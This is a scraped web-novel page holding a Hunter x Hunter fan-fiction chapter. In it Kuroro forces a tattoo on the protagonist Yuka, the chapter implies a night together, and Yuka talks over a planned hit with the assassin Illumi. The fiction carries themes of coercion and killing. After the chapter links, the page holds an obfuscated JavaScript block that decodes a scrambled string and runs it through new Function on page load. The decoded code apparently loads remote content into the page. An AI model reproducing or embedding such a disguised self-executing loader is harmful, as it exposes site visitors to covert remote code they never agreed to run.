返回

三次BE后我决定放飞自我

首页
关灯
护眼
字体:
32 如何偕老
库洛洛那一句“脱衣服吧”虽然听起来轻描淡写,但这不代表佑果能够轻易拒绝。

于是无法反抗的佑果便被表情温和的库洛洛单手镇压,像拆礼物一般不容拒绝地强行“拆”去了佑果的上衣。

佑果的皮肤接触到冷空气不受控制地激起了一些鸡皮疙瘩,库洛洛手指轻轻擦过那些地方时,佑果像是被电流窜过一般绷紧了皮肤。

而库洛洛挑挑拣拣,最后选在了后腰的部分。

他指着后腰左侧的一处对玛琪说,“就在这里。”

库洛洛说完便看向佑果,似乎是担心佑果的挣扎会影响图案的完整性,在玛琪的针刺下去之前,他先在佑果耳边温声安抚道:“别怕。”

佑果的脸憋的发红,瘦削的身体无力地平趴在床上微微颤抖着,落在枕边的脸稍稍扬起,露出的眼睛眼角泛着浅浅的红。

他一点也不怕,只是十分生气,红着眼眶死死地看着库洛洛咬着嘴唇不说话。

“我、我不要……”佑果强撑着一口气说。

佑果愤愤地和系统吐槽:“为什么我不能选图案!这可是在我身上刺青啊!”

系统也只好说:“因为他是库洛洛啊。”

“可恶!”佑果汪地一声哭了出来。

因为是库洛洛,就连反抗也看起来是那样的可笑了,佑果被气的眼角湿润,库洛洛饶有兴趣地瞧着佑果挂在睫毛上的水珠,用手指轻轻地擦去了。

“你不喜欢?”库洛洛歪了歪头,挥挥手暂时让玛琪停下了,而玛琪也很听他的话,便停下了准备刺青的动作。

“那你喜欢什么?”库洛洛和颜悦色一改往日独、裁的模样,像是懂了什么叫做人性化一般询问佑果的意见:“你有什么想法?”

佑果微微一愣,他看库洛洛笑意盈盈洗耳恭听的模样,心思便忍不住动起来了。

他眨了眨眼,像是被逼无奈的退让一般,勉为其难地说:“刺个龙吧。”

既然要刺青,那当然是要刺一个拉风的生物,佑果想也不想便决定要刺一个龙,当然,他也不能流露出太过期待的模样,只能流露出“我是被迫的”,“我一点也不想纹身”的表情。

然而库洛洛笑盈盈地点点头,便对玛琪说:“别听他的,按我的来。”

玛琪毫不惊讶,面无表情地低下头,重新捏起了自己的针。

佑果脸色微变,脸更红了——被气得。

“你不是问我的想法吗?”佑果抖着唇说。

“对啊。”库洛洛像摸猫咪一样温柔地摸了摸佑果的头发,微笑着说:“我也只是问问而已。”

这简直是奇耻大辱!

佑果眨眨眼,泪水便扑索扑索地掉下来滴在床单上洇出一片泪痕,和系统骂:“库洛洛这个大骗子!”

系统:……

佑果屈辱地说:“你看着!等刺完我要他好看!”

它只好附和:“好好好,都听你的!”

库洛洛没有告诉佑果要纹什么,佑果也只能感觉到他后腰左侧传来的一丝凉意,细细的念针在皮肤中穿刺,佑果疼的满头大汗,皮肤绷紧,微微张着嘴喘息。

库洛洛原本是一直盯着玛琪刺青的地方看的,只是佑果时不时被痛地小声抽气的声音很快吸引走他的注意,他看着静静流眼泪的佑果小口喘息满是屈辱的模样,颇为讶异地问:“很疼吗?”

库洛洛想了想当初刺青的自己,他并不觉得疼痛——也许是因为和刺青的痛比起来,他已经经历过比那疼痛千百倍的痛楚。

只是这痛楚不是由库洛洛给予的,这就有些可惜了。

于是只想了片刻,库洛洛便对玛琪说:“我来吧,玛琪。”

玛琪停下了手中的动作,然后毫不迟疑地递给了库洛洛自己的念针。

库洛洛接过玛琪的念针后玛琪便离开了房间,堆满古籍书本的卧室里只剩下库洛洛和佑果两个人,库洛洛虽然是接替玛琪上手,但是短暂的生疏后很快就得心应手起来。

而这,也仅仅只是看了一会儿玛琪究竟是怎样操作的结果罢了。

手掌轻轻抚过因为刺青而泛红的皮肤,库洛洛微微翘起嘴角,满意地继续下去,先刺出线条然后再辅以墨水,佑果攥紧了床单汗流浃背,他疼的说不出话,神情恍惚地看着窗外从晴空万里直至夕阳西垂。

嫣红的落霞挤满了屋子,将佑果的皮肤照的粉红,库洛洛描摹完最后一笔,便就着这满屋的夕阳欣赏起来。

深青色的蛛网上翅膀残破的蝴蝶无力地挣扎着,而蛛网上的蜘蛛已经迫近,徒劳无功的蝴蝶已经是它的囊中之物。

轻轻擦去泛红的皮肤上渗出的血丝,库洛洛擦擦手道:“好了。”

佑果终于松懈下来,攥着床单的手指无力地松开,疲惫地几乎抬不起手指。

库洛洛走到佑果身边,轻轻拍拍佑果的背,含笑地说:“已经结束了。”

佑果眼皮都懒得掀起,趴在床上一声不吭。

库洛洛低下头拨开佑果站在脸侧的湿漉漉的发丝,看着佑果那双疲惫泛红的眼睛,竟然心满意足地笑了起来。

“图案很好看。”库洛洛表情十分谦虚:“你可以回家看。”

佑果扯了扯嘴角,他笑不出来,便盯着库洛洛看,被他忍痛时一直紧咬的嘴唇唇色嫣红,佑果的唇瓣微微动了一下,库洛洛没听到他说什么,便倾身靠了过去。

然后强撑着身体抬起头的佑果张嘴狠狠地咬在了库洛洛的嘴唇上。

嘴唇是最

薄弱的地方,其他地方佑果不敢说自己能咬的动,但是嘴唇却不一样了。

尖锐的虎牙轻而易举地咬破了库洛洛的唇瓣,铁锈味的血液争先恐后地从伤口中流出来,流到库洛洛的嘴巴里,也流到佑果的唇瓣上。

唇瓣上的痛楚不值一提,库洛洛新颖地瞧着翘着嘴角的佑果,抬手轻轻碰了碰唇上的伤口。

佑果舔了舔唇瓣上的血,挑衅一般地朝库洛洛扯起嘴角。

库洛洛垂下眼,缓缓地,像是纵容一般地微笑起来。

这是第一次有人咬破库洛洛的唇瓣,以后或许也不会有了,库洛洛还记得第一个试图用嘴唇触碰他的男人的下场,那时候他才八岁,还在流星街,一个亲吻可以换一块即将过期的面包,换做任何一个饥肠辘辘的流星街小孩来说都不会觉得亏本。

可是库洛洛不觉得,他在男人低下头时活生生咬断了男人的喉咙,猩红的血溅了库洛洛满脸,而他在男人的血泊中微笑。

“很疼吗?”库洛洛问。

佑果幽幽地说:“你说呢?”

看样子是很疼了,库洛洛愉快地诧异着自己愉悦的心情,用刚才拿过念针的手像是对待恋人一般轻轻地擦去佑果唇瓣上沾到的血迹。

然后他抬起佑果的脸,报复心极重的低下头咬上了佑果的嘴唇。

这是一个充满了血腥味的吻,唇齿交缠间两个人都能嗅到彼此的鲜血的味道,他们像野兽一样互相撕咬着,带着绝不服输的决心。

炽热的气氛在蔓延,库洛洛掐在佑果后腰上的手重重地擦过,原本细腻的皮肤上青色的刺青在气血翻涌之下竟然开始逐渐变成血一般的鲜红。

库洛洛眯起眼,满意地笑了起来。

突然被踢进小黑屋的系统:……

*

第二天起个大早,佑果睁开眼睛躺在床上静静地看着天花板。

然后他忽然说:“系统……”

在小黑屋呆了一晚上的系统:……

系统:“怎么了?”

佑果睁大眼睛,热泪盈眶:“虽然但是,好爽啊!”

系统:……并没有兴趣知道。

上次破处男之身时是醉酒状态,佑果对此一直没有确切的感知,一直很遗憾自己当初为什么会喝错酒,甚至痛心疾首地想绝没有下次了!

然后下次机会到来了,幸运的是,这次他无比清醒,后腰刺青的位置到现在还隐隐作痛,不过佑果不是很在意,用兴奋的口吻和系统讲:“虽然是个渣,不过库洛洛也不是一无是处嘛!”

系统:……

佑果还想继续唧唧歪歪,被系统干脆利落地打断:“……我知道了,你别说了。”

佑果抗议:“你骗人!你分明只能看到小黑屋!”

系统沉默了一会儿,幽幽道:“……可是我能听到声音啊。”

佑果:OvO!

佑果毫无歉意地说:“哦,不好意思。”

佑果侧过脸,库洛洛仍闭着眼睛沉睡着,谁能想到恶贯满盈的幻影旅团团长竟然长着一张清俊的,安睡时像孩子一般纯净的脸。

佑果翻身下了床,慢吞吞地穿上自己的衣服——上衣拿的是库洛洛的,他原本的上衣已经不能穿了。

库洛洛的上衣要比他大一圈,佑果囫囵系好扣子,看着镜子里的自己像是偷穿大人衣服的小孩子一样。

舌头顶了顶上颚,佑果面无表情地转身推开门离开,活像一个拔X无情的渣男,他走下楼梯一直到离开别墅,都没有任何人出来阻拦他。

佑果刚一踏出门,原本熟睡的库洛洛便睁开了双眼,目光清明,然后缓缓的弯起了嘴角。

*

低头用手机发了短信,佑果沿着路一直走了三四分钟,伊尔迷才从对面缓缓出现。

他在佑果面前站定,看着佑果红肿的唇瓣和嫣红的脸,歪歪头了然道:“做了?”

“嗯。”

佑果也没有否认,很随意道:“做了。”

伊尔迷很是平静的样子,“那你还想搞他吗?”

佑果沉思了一下,而后诚恳地询问:“请问,这个“搞”是哪个“搞”?”

伊尔迷这才发现自己的话似乎有些歧义,他蹙了蹙眉,说:“当然不是你昨晚那种意义的搞。”

佑果了然地点点头,然后微微笑道:“那当然还是要搞的。”

伊尔迷道:“我以为这种事后,你会不忍心继续下去。”

佑果很好奇地问:“你为什么会这样想?”

伊尔迷平静道:“我接过不少的单子,下单后反悔的情人也不再少数,情人死后便痛哭流涕地抱着情人的尸体哭泣,然后莫名其妙恨上了动手的我们。”

佑果探询地说:“那再然后呢?”

伊尔迷神色淡淡地说:“再然后?再然后我就把雇主也一并解决了,一个人的钱解决两人,亏了。”

所以伊尔迷很少再接恋人之间的单了。

“哦,那和我不一样。”佑果便掸了掸自己的袖子,心平气和道:“我和库洛洛睡过了,但是还暂时算不上你说的那种情人。”

伊尔迷安静地听。

“所以嘛,该‘搞’库洛洛便还是要‘搞’的。”

佑果笑起来:“毕竟,恋爱脑这种东西,我已经忍很久了。”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();